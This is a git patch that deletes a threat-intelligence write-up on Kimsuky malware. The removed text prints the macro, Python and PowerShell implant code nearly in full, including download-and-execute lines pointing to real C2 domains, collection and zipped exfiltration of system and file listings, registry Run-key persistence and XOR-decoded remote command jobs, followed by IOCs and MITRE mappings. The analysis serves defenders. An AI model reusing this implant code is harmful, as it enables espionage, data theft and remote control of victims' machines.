From 00c80f25451a49ee949b9c7413eea02ff29fbe1c Mon Sep 17 00:00:00 2001 From: StrangerealIntel <54320855+StrangerealIntel@users.noreply.github.com> Date: Sat, 21 Mar 2020 15:17:32 +0100 Subject: [PATCH] Delete Analysis.md --- .../Kimsuky/2020-03-20/Pictures/Analysis.md | 519 ------------------ 1 file changed, 519 deletions(-) delete mode 100644 North Korea/APT/Kimsuky/2020-03-20/Pictures/Analysis.md diff --git a/North Korea/APT/Kimsuky/2020-03-20/Pictures/Analysis.md b/North Korea/APT/Kimsuky/2020-03-20/Pictures/Analysis.md deleted file mode 100644 index de37e8f..0000000 --- a/North Korea/APT/Kimsuky/2020-03-20/Pictures/Analysis.md +++ /dev/null @@ -1,519 +0,0 @@ -# apt-get install kimsuky -## Table of Contents -* [Malware analysis](#Malware-analysis) - + [Python implant](#MacOSX) - + [Powershell implant](#Windows) -* [Threat Intelligence](#Intel) -* [Cyber kill chain](#Cyber-kill-chain) -* [Indicators Of Compromise (IOC)](#IOC) -* [Yara Rules](#Yara) -* [References MITRE ATT&CK Matrix](#Ref-MITRE-ATTACK) -* [Links](#Links) - + [Original Tweet](#tweet) - + [Link Anyrun](#Links-Anyrun) - -

Malware analysis

-

Python implant

-
The initial vector is a maldoc which used a template injection for download and execute the next stage.
- -```xml - - -``` -
This execute a second maldoc with a macro. The first block of the VBA code is the declaration for use the functions of the office version on Mac.
- -```python -#If Mac Then - #If Win64 Then - Private Declare PtrSafe Function popen Lib "libc.dylib" (ByVal command As String, ByVal mode As String) As Long - #Else - Private Declare Function popen Lib "libc.dylib" (ByVal command As String, ByVal mode As String) As Long - #End If -#End If -``` - -
The last block of code is the function for auto-execute the malicious code. This request and execute python code in memory (fileless).
- -```python -Sub AutoOpen() -On Error GoTo eHandler - Application.ActiveWindow.View.Type = wdPrintView - ActiveDocument.Unprotect "1qaz2wsx#EDC" - Dim s As Shape - For Each s In ActiveDocument.Shapes - s.Fill.Solid - s.Delete - Next - Selection.WholeStory - Selection.Font.Hidden = False - Selection.Collapse - ActiveDocument.Save -#If Mac Then - cmd = "import urllib2;" - cmd = cmd + "exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v1')).read())" - Result = popen("python -c """ + cmd + """", "r") -#End If -eHandler: 'if an error is throw exit - Exit Sub -End Sub -``` - -
Firstly,this declare the imports, interesting to note that use posixpath package for get an universal path ( with "/") for easily manage theirs paths.
- -```python -import os; -import posixpath; -import urllib2; -``` -
Once this done, this create the path, enforce to remove the current maldoc and write it again (force but don't check their existence on the disk) for the persistence.
- -```python -home_dir = posixpath.expandvars("$HOME"); -normal_dotm = home_dir + "/../../../Group Containers/UBF8T346G9.Office/User Content.localized/Templates.localized/normal.dotm" -os.system("rm -f '" + normal_dotm + "'"); -fd = os.open(normal_dotm,os.O_CREAT | os.O_RDWR); -data = urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=normal')).read() -os.write(fd, data); -os.close(fd) -``` -
Finally, execute the last fileless python script for the recon actions.
- -```python -exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v60')).read()) -``` - -
The first two functions of the final python script are for execute a new shell and push the program on an infinite loop.
- -```python -import os -import posixpath -import time -import urllib2 -import threading -from httplib import * - -def ExecNewCmd(): - exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=new')).read()) - -def SpyLoop(): - while True: - CollectData() - ExecNewCmd() - time.sleep(300) -``` - -
The Collectdata function queries for get the system informations, files on the differents repetories, pack it on a password ZIP and send it to the C2.
- -```python -def CollectData(): - #create work directory - home_dir = posixpath.expandvars("$HOME") - workdir = home_dir + "/../../../Group Containers/UBF8T346G9.Office/sync" - os.system("mkdir -p '" + workdir + "'") - - #get architecture info - os.system("python -c 'import platform;print(platform.uname())' >> '" + workdir + "/arch.txt'") - #get systeminfo - os.system("system_profiler -detailLevel basic >> '" + workdir + "/basic.txt'") - #get process list - #os.system("ps -ax >> '" + workdir + "/ps.txt'") - #get using app list - os.system("ls -lrS /Applications >> '" + workdir + "/app.txt'") - #get documents file list - os.system("ls -lrS '" + home_dir + "/documents' >> '" + workdir + "/documents.txt'") - #get downloads file list - os.system("ls -lrS '" + home_dir + "/downloads' >> '" + workdir + "/downloads.txt'") - #get desktop file list - os.system("ls -lrS '" + home_dir + "/desktop' >> '" + workdir + "/desktop.txt'") - #get volumes info - os.system("ls -lrs /Volumes >> '" + workdir + "/vol.txt'") - #get logged on user list - #os.system("w -i >> '" + workdir + "/w_i.txt'") - #zip gathered informations - zipname = home_dir + "/../../../Group Containers/UBF8T346G9.Office/backup.zip" - os.system("rm -f '" + zipname + "'") - zippass = "doxujoijcs0qei09213@#$@" - zipcmd = "zip -m -r '" + zipname + "' '" + workdir + "'" - print(zipcmd) - os.system(zipcmd) - - try: - BODY = open(zipname, mode='rb').read() - headers = {"User-Agent" : "Mozilla/5.0 compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/7.0", "Accept-Language" : "en-US,en;q=0.9", "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Content-Type" : "multipart/form-data; boundary=----7e222d1d50232"} ; - boundary = "----7e222d1d50232"; - postData = "--" + boundary + "\r\nContent-Disposition: form-data; name=""MAX_FILE_SIZE""\r\n\r\n1000000\r\n--" + boundary + "\r\nContent-Disposition: form-data; name=""file""; filename=""1.txt""\r\nContent-Type: text/plain\r\n\r\n" + BODY + "\r\n--" + boundary + "--"; - conn = HTTPConnection("crphone.mireene.com") - conn.connect() - conn.request("POST", "/plugin/editor/Templates/upload.php", postData, headers) - conn.close() - - #delete zipped file - os.system("rm -f '" + zipname + "'") - except: - print "error" -``` - -
This reuse the code of the structure of the php form for send teh data of the C2.
- -```html -
- - file send: - -
-``` - -
The main code execute a new thread the SpyLoop function.
- -```python -main_thread = threading.Thread(target=SpyLoop) -main_thread.start() -``` -

Powershell implant

-
The initial vector is a maldoc with a VBA macro which use an auto-execute function for get the content of theirs froms and execute in memory. The rest of the last three functions are useless.
- -```vb -Sub AutoOpen() - delimage - interface - executeps - shlet - regpa -End Sub -Sub delimage() - Selection.Delete Unit:=wdCharacter, Count:=1 -End Sub -Function interface() - TmpEditPath = tptkddlsjangkspdy.Controls(Len("z")).Value - Set JsEditContent = tptkddlsjangkspdy.Controls(3 - 1 - 1 - 1) - Open Trim(TmpEditPath) For Output As #2 - Print #2, JsEditContent.Text - Close #2 -End Function -Sub executeps() -d1 = "powershell.exe -ExecutionPolicy Bypass -noLogo $s=[System.IO.File]::ReadAllText('c:\windows\temp\bobo.txt');iex $s" - With CreateObject("WScript.Shell") - .Run d1,0, False - End With -End Sub -``` - -
We can see the command to download and execute the Powershell script.
- -```vb -------------------------------------------------------------------------------- -VBA FORM Variable "TextBox1" IN '.\\vbaProject.bin' - OLE stream: u'tptkddlsjangkspdy' -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1') -------------------------------------------------------------------------------- -VBA FORM Variable "TextBox2" IN '.\\vbaProject.bin' - OLE stream: u'tptkddlsjangkspdy' -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -C:\windows\temp\bobo.txt -``` - -```vb -Sub shlet() - Selection.WholeStory - With Selection.Font - .NameFarEast = "ÙºæýØÇ Û│áÙöò" - .NameAscii = "" - .NameOther = "" - .Name = "" - .Hidden = False - End With -End Sub -Sub regpa() - With Selection.ParagraphFormat - .LeftIndent = CentimetersToPoints(2) - .SpaceBeforeAuto = True - .SpaceAfterAuto = True - End With - With Selection.ParagraphFormat - .RightIndent = CentimetersToPoints(2) - .SpaceBeforeAuto = True - .SpaceAfterAuto = True - End With - Selection.PageSetup.TopMargin = CentimetersToPoints(2.5) - Selection.PageSetup.BottomMargin = CentimetersToPoints(2.5) -End Sub -``` -
The first block of the Powershell script is the values used for the configuration (persistence, URL to join, path of the files, for run payload...).
- -```csharp -$SERVER_ADDR = "http://mybobo.mygamesonline.org/flower01/" -$UP_URI = "post.php" -$upName = "flower01" -$LocalID = "flower01" -$LOG_FILENAME = "flower01.hwp" -$LOG_FILEPATH = "\flower01\" -$TIME_VALUE = 3600000 -$EXE = "rundll32.exe" -$MyfuncName = "Run" -$RegValueName = "Alzipupdate" -$RegKey = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -$regValue = "cmd.exe /c powershell.exe -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://mybobo.mygamesonline.org/flower01/flower01.ps1')" -``` - -
The next block is for get the same informations that the MacOS version and for decode the commands send by the C2 to execute to victim.
- -```csharp -function Get_info($logpath) -{ - Get-ChildItem ([Environment]::GetFolderPath("Recent")) >> $logpath - dir $env:ProgramFiles >> $logpath - dir "C:\Program Files (x86)" >> $logpath - systeminfo >> $logpath - tasklist >> $logpath -} -function decode($encstr) -{ - $key = [byte[]](0,2,4,3,3,6,4,5,7,6,7,0,5,5,4,3,5,4,3,7,0,7,6,2,6,2,4,6,7,2,4,7,5,5,7,0,7,3,3,3,7,3,3,1,4,2,3,7,0,2,7,7,3,5,1,0,1,4,0,5,0,0,0,0,7,5,1,4,5,4,2,0,6,1,4,7,5,0,1,0,3,0,3,1,3,5,1,2,5,0,1,7,1,4,6,0,2,3,3,4,2,5,2,5,4,5,7,3,1,0,1,6,4,1,1,2,1,4,1,5,4,2,7,4,5,1,6,4,6,3,6,4,5,0,3,6,4,0,1,6,3,3,5,7,0,5,7,7,2,5,2,7,7,4,7,5,5,0,5,6) - $len = $encstr.Length - $j = 0 - $i = 0 - $comletter = "" - while($i -lt $len) - { - $j = $j % 160 - $asciidec = $encstr[$i] -bxor $key[$j] - $dec = [char]$asciidec - $comletter += $dec - $j++ - $i++ - } - - return $comletter -} -``` - -
The next function is for download the next commands as job by the C2.
- -```csharp -function Download -{ - $downname = $LocalID + ".down" - $delphppath = $SERVER_ADDR + "del.php" - $downpsurl = $SERVER_ADDR + $downname - $codestring = (New-Object System.Net.WebClient).DownloadString($downpsurl) - $comletter = decode $codestring - $decode = $executioncontext.InvokeCommand.NewScriptBlock($comletter) - $RunningJob = Get-Job -State Running - if($RunningJob.count -lt 3) - { - $JobName = $RunningJob.count + 1 - Start-Job -ScriptBlock $decode -Name $JobName - } - else - { - $JobName = $RunningJob.count - Stop-Job -Name $RunningJob.Name - Remove-Job -Name $RunningJob.Name - Start-Job -ScriptBlock $decode -Name $JobName - } - $down_Server_path = $delphppath + "?filename=$LocalID" - $response = [System.Net.WebRequest]::Create($down_Server_path).GetResponse() - $response.Close() -} -``` - -
The last function is for upload the stolen to C2.
- -```csharp -function UpLoadFunc($logpath) -{ - $Url = $SERVER_ADDR + $UP_URI - $bReturn = $True - $testpath = Test-Path $logpath - if($testpath -eq $False){return $bReturn} - $hexdata = [IO.File]::ReadAllText($logpath) - $encletter = decode $hexdata - $nEncLen = $encletter.Length - $LF = "`r`n" - $templen = 0x100000 - $sum = 0 - do - { - $szOptional = "" - $pUploadData = "" - Start-Sleep -Milliseconds 100 - $readlen = $templen; - if (($nEncLen - $sum) -lt $templen){$readlen = $nEncLen - $sum} - if ($readlen -ne 0) - { - $pUploadData = $encletter + $sum - $sum += $readlen - } - else - { - $pUploadData += "ending" - $sum += 9 - $readlen = 6 - } - Start-Sleep -Milliseconds 1 - $boundary = "----WebKitFormBoundarywhpFxMBe19cSjFnG" - $ContentType = 'multipart/form-data; boundary=' + $boundary - $bodyLines = ( - "--$boundary", - "Content-Disposition: form-data; name=`"MAX_FILE_SIZE`"$LF", - "10000000", - "--$boundary", - "Content-Disposition: form-data; name=`"userfile`"; filename=`"$upName`"", - "Content-Type: application/octet-stream$LF", - $pUploadData, - "--$boundary" - ) -join $LF - - Start-Sleep -Milliseconds 1 - $psVersion = $PSVersionTable.PSVersion - $r = [System.Net.WebRequest]::Create($Url) - $r.Method = "POST" - $r.UseDefaultCredentials = $true - $r.ContentType = $ContentType - $enc = [system.Text.Encoding]::UTF8 - $data1 = $enc.GetBytes($bodyLines) - $r.ContentLength = $data1.Length - $newStream = $r.GetRequestStream() - $newStream.Write($data1, 0, $data1.Length) - $newStream.Close(); - - if($php_post -like "ok"){echo "UpLoad Success!!!"} - else - { - echo "UpLoad Fail!!!" - $bReturn = $False - } - } while ($sum -le $nEncLen); - return $bReturn -} -``` - -
The main function push the persistence, send the data stolen and wait the new order.
- -```csharp -function main -{ - Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force - $FilePath = $env:APPDATA + $LOG_FILEPATH - New-Item -Path $FilePath -Type directory -Force - $szLogPath = $FilePath + $LOG_FILENAME - $key = Get-Item -Path $RegKey - $exists = $key.GetValueNames() -contains $RegValueName - if($exists -eq $False) - { - $value1 = New-ItemProperty -Path $RegKey -Name $RegValueName -Value $regValue - Get_info $szLogPath - } - - while ($true) - { - FileUploading $szLogPath - Start-Sleep -Milliseconds 10000 - Download - Start-Sleep -Milliseconds 10000 - Start-Sleep -Milliseconds $TIME_VALUE - } -} -main -``` - - - -

Threat Intelligence

-#### Similarities between the different versions of kimsuky - -
Some similarities can be observed :
- - -
The domains have the same output IP too and are located in South Korea
- - - - - - - - - - - - - - - - - - - - - - -
IPRouteASNOrganizationCityRegionCoordinatesCountry
101.79.5.222101.79.5.0/24AS38661purplestonesKwangmyŏngGyeonggi-do37.4772,126.8664South Korea
- -

Cyber kill chain

-
This process graph represent the cyber kill chain of the maldoc vector.
-

- -

-

Indicators Of Compromise (IOC)

-
List of all the Indicators Of Compromise (IOC)
- -|Indicator|Description| -| ------------- |:-------------:| -|Special Benefits.docx|6c9c6966ce269bbcab164aca3c3f0231af1f7b26a18e5abc927b2ccdd9499368| -|Criteria of Army Officers.doc|1cb726eab6f36af73e6b0ed97223d8f063f8209d2c25bed39f010b4043b2b8a1| -|7All Selected list.xls|2aa160726037e80384672e89968ab4d2bd3b7f5ca3dfa1b9c1ecc4d1647a63f0| -|ulhtagnias.exe|d2c46e066ff7802cecfcb7cf3bab16e63827c326b051dc61452b896a673a6e67| -|198.46.177.73|IP C2| - -
The IOC can be exported in JSON
- -

References MITRE ATT&CK Matrix

- -|Enterprise tactics|Technics used|Ref URL| -| :---------------: |:-------------| :------------- | -|Discovery|Query Registry|https://attack.mitre.org/techniques/T1012/| -|C&C|Uncommonly Used Port|https://attack.mitre.org/techniques/T1065/| -|Defense Evasion|Scripting|https://attack.mitre.org/techniques/T1064/| -|Execution|Scripting|https://attack.mitre.org/techniques/T1064/| - -
This can be exported as JSON format Export in JSON
-

Yara Rules

-
A list of YARA Rule is available here
-

Links

-
Original tweets:
- -* [https://twitter.com/Timele9527/status/1240620534468997125](https://twitter.com/Timele9527/status/1240620534468997125) -* [https://twitter.com/Timele9527/status/1240123132419223554](https://twitter.com/Timele9527/status/1240123132419223554) -* [https://twitter.com/cyberwar_15/status/1240779000256942080](https://twitter.com/cyberwar_15/status/1240779000256942080) - -
Links Anyrun:
- -* [붙임. 전문가 칼럼 원고 작성 양식.doc](https://app.any.run/tasks/88f1b03b-67d2-49a9-8f21-7e990d802342) -* [COVID-19 and North Korea.docx](https://app.any.run/tasks/1d2135b2-b7a3-4c31-a0ee-ab5742194068)